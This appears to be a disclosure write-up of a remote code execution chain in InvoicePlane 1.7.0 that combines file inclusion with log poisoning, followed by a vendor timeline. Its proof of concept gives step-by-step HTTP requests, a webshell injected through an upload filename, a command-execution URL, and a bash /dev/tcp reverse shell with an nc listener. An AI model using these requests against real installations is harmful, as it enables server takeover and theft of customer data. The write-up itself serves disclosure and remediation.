Share
## https://sploitus.com/exploit?id=3537296E-107C-57B5-B71A-7E2CC6255AE4
# CVE-2026-25548 โ€” Remote Code Execution in InvoicePlane 1.7.0

**Vulnerability:** Remote Code Execution via Local File Inclusion + Log Poisoning
**Product:** [InvoicePlane](https://invoiceplane.com)
**Affected Version:** 1.7.0 (and likely prior versions)
**Severity:** Critical
**CVSS 3.1 Score:** 9.1 (`CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H`)
**CWE:** CWE-98, CWE-117, CWE-94
**Discovered by:** Leonidas Agathos
**Report Date:** 2026-01-31

---

## Table of Contents

- [Description](#description)
- [Vulnerability Details](#vulnerability-details)
  - [1. Local File Inclusion (LFI)](#1-local-file-inclusion-lfi)
  - [2. Log Poisoning via Upload Filename](#2-log-poisoning-via-upload-filename)
- [Attack Chain](#attack-chain)
- [Proof of Concept](#proof-of-concept)
  - [Step 1 โ€” Log Poisoning](#step-1--log-poisoning)
  - [Step 2 โ€” Configure LFI](#step-2--configure-lfi)
  - [Step 3 โ€” Trigger RCE](#step-3--trigger-rce)
  - [Step 4 โ€” Reverse Shell](#step-4--reverse-shell)
- [Impact](#impact)
- [Affected Components](#affected-components)
- [Timeline](#timeline)

---

## Description

A critical vulnerability chain in InvoicePlane 1.7.0 allows an authenticated administrator to achieve **Remote Code Execution (RCE)** on the underlying server. The attack combines two weaknesses:

1. **Local File Inclusion (LFI)** โ€” The public invoice template setting accepts arbitrary file paths with no validation, allowing inclusion of files outside the intended template directory.
2. **Log Poisoning** โ€” Upload filenames containing path traversal characters are written verbatim to CodeIgniter's `.php` log files, allowing injection of arbitrary PHP code.

When chained, an attacker with admin access can achieve full server compromise as the web server user. The final RCE trigger is **unauthenticated** (public invoice URL).

---

## Vulnerability Details

### 1. Local File Inclusion (LFI)

| Attribute | Value |
|-----------|-------|
| **File** | `application/modules/guest/controllers/View.php` |
| **Lines** | 85, 191 |
| **Parameter** | `public_invoice_template` (database setting) |
| **CWE** | CWE-98: Improper Control of Filename for Include/Require Statement |

**Vulnerable code (`View.php:85`):**

```php
$this->load->view('invoice_templates/public/' .
    get_setting('public_invoice_template') . '.php', $data);
```

**Vulnerable code (`View.php:191`):**

```php
$this->load->view('quote_templates/public/' .
    get_setting('public_quote_template') . '.php', $data);
```

The `public_invoice_template` and `public_quote_template` settings are retrieved from the database and concatenated directly into a file path passed to CodeIgniter's `load->view()` (which resolves to PHP's `include()`). There is **no validation** to:
- Prevent directory traversal sequences (`../`)
- Whitelist allowed template names
- Confirm the file exists within the expected template directory

An administrator can set this value to any path on the filesystem, constrained only by the `.php` extension being appended automatically.

---

### 2. Log Poisoning via Upload Filename

| Attribute | Value |
|-----------|-------|
| **File** | `application/modules/upload/controllers/Upload.php` |
| **Lines** | 178โ€“184 |
| **Parameter** | Upload filename (HTTP multipart form data) |
| **CWE** | CWE-117: Improper Output Neutralization for Logs |

**Vulnerable code (`Upload.php:178-184`):**

```php
private function sanitize_file_name(string $filename): string
{
    if (str_contains($filename, '..')
        || str_contains($filename, '/')
        || str_contains($filename, '\\')
        || str_contains($filename, "\0")) {
        log_message('error', 'Path traversal attempt detected in filename: ' . $filename);
        return '';
    }
    // ...
}
```

When a filename triggers the path traversal check, the **raw, unsanitized filename** is written directly into the log file. CodeIgniter log files:
- Use `.php` extension: `application/logs/log-YYYY-MM-DD.php`
- Begin with ``
- Are therefore **valid PHP files** that execute when included

An attacker embedding `` in the filename causes that payload to be written into the log and later executed via the LFI.

---

## Attack Chain

```
[Authenticated user]  โ†’  Upload malicious filename  โ†’  PHP injected into log file
[Admin]               โ†’  Set template setting        โ†’  LFI points to log file
[Anyone]              โ†’  Visit public invoice URL    โ†’  RCE
```

| Step | Requirement |
|------|-------------|
| Log Poisoning | Authenticated user with upload access |
| LFI configuration | Administrator account |
| RCE trigger | Unauthenticated (public invoice URL) |

---

## Proof of Concept

### Step 1 โ€” Log Poisoning

Send a file upload request with a PHP webshell embedded in the filename. The path traversal check will trigger and write the raw filename (including the PHP payload) to the log file.

**Request (via Burp Suite):**

```http
POST /index.php/upload/upload_file/3/13phvCzZiPyOXKYeJBk084jHL5NTGn9d HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=...
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="_ip_csrf"


------Boundary
Content-Disposition: form-data; name="file"; filename="...jpg"
Content-Type: image/jpeg

test
------Boundary--
```

The server rejects the upload (`upload_error_invalid_extension`) but the log entry is already written:

**Result in `application/logs/log-2026-01-31.php`:**

```
ERROR - 2026-01-31 10:35:06 --> Path traversal attempt detected in filename: ...jpg
```

> Navigate to an invoice's **Attachments** section and click **Add Files** to reach the upload endpoint.

![Step 1a - Invoice attachment upload entry point](screenshots/rce2.png)

![Step 1b - Injecting PHP payload via malicious filename](screenshots/rce3.png)

![Step 1c - Log file showing injected PHP payload](screenshots/rce4.png)

---

### Step 2 โ€” Configure LFI

As an administrator, set the `public_invoice_template` setting to point to today's log file using a path traversal payload. CodeIgniter's view loader appends `.php` automatically.

**Request (via Burp Suite):**

```http
POST /index.php/settings HTTP/1.1
Host: 172.25.0.12
Cookie: ip_csrf_cookie=...; ip_session=
Content-Type: multipart/form-data; boundary=----Boundary

------Boundary
Content-Disposition: form-data; name="settings[public_invoice_template]"

../../../logs/log-2026-01-31
------Boundary--
```

The traversal path resolves from `application/views/invoice_templates/public/` up to `application/logs/`, then includes `log-2026-01-31.php`.

![Step 2 - Setting public_invoice_template to the log file path via Burp Suite](screenshots/rce1.png)

---

### Step 3 โ€” Trigger RCE

Access any public invoice URL with a command passed as the `1` GET parameter. No authentication is required.

**Request:**

```
GET /index.php/guest/view/invoice/?1=id HTTP/1.1
Host: 172.25.0.12
```

**Response (in page source):**

```
Path traversal attempt detected in filename: ..uid=1000(www-data) gid=1000(www-data) groups=1000(www-data)
.jpg
```

The `system($_GET[1])` payload executes the `id` command and its output is reflected inline in the page.

![Step 3 - Command output reflected in the HTTP response via public invoice URL](screenshots/rce5.png)

---

### Step 4 โ€” Reverse Shell

Replace the command with a bash reverse shell payload to obtain an interactive shell:

```
GET /index.php/guest/view/invoice/?1=bash+-c+'bash+-i+>%26+/dev/tcp/192.168.25.131/4444+0>%261' HTTP/1.1
```

On the attacker machine:

```bash
nc -lnvp 4444
```

**Result:**

```
connect to [192.168.25.131] from (UNKNOWN) [172.25.0.11] 43360
www-data@0dd592f7a424:~/projects/invoiceplane$
```

Full interactive shell as `www-data`.

![Step 4 - Reverse shell established confirming full RCE](screenshots/rce6.png)

---

## Impact

| Dimension | Rating | Detail |
|-----------|--------|--------|
| Confidentiality | **HIGH** | Full read access to all files accessible by the web server user, including database credentials and customer invoice data |
| Integrity | **HIGH** | Arbitrary file write, database modification, web shell installation |
| Availability | **HIGH** | Denial of service, ransomware deployment, system destruction |

---

## Affected Components

| File | Vulnerability |
|------|---------------|
| `application/modules/guest/controllers/View.php:85` | LFI โ€” Invoice template |
| `application/modules/guest/controllers/View.php:191` | LFI โ€” Quote template |
| `application/modules/upload/controllers/Upload.php:182` | Log Poisoning |
| `application/modules/settings/controllers/Settings.php` | No validation on template setting |

---

## Timeline

| Date | Event |
|------|-------|
| 2026-01-30 | Vulnerability discovered |
| 2026-01-31 | Proof of concept developed |
| 2026-01-31 | Vendor notified |
| 2026-02-03 | Vendor acknowledgment |
| 2026-02-03 | Patch released |
| 2026-02-04 | Public disclosure |

---

## References

- [CWE-98: Improper Control of Filename for Include/Require Statement](https://cwe.mitre.org/data/definitions/98.html)
- [CWE-117: Improper Output Neutralization for Logs](https://cwe.mitre.org/data/definitions/117.html)
- [CWE-94: Improper Control of Generation of Code](https://cwe.mitre.org/data/definitions/94.html)
- [OWASP: Path Traversal](https://owasp.org/www-community/attacks/Path_Traversal)
- [OWASP: Log Injection](https://owasp.org/www-community/attacks/Log_Injection)
- [CVE-2026-25548](https://nvd.nist.gov/vuln/detail/CVE-2026-25548)

---

## Disclaimer

This vulnerability was discovered during independent security research. All information is provided strictly for educational, research, and defensive purposes to assist the vendor and the security community in understanding and remediating the issue. Any malicious use of this information is strictly prohibited.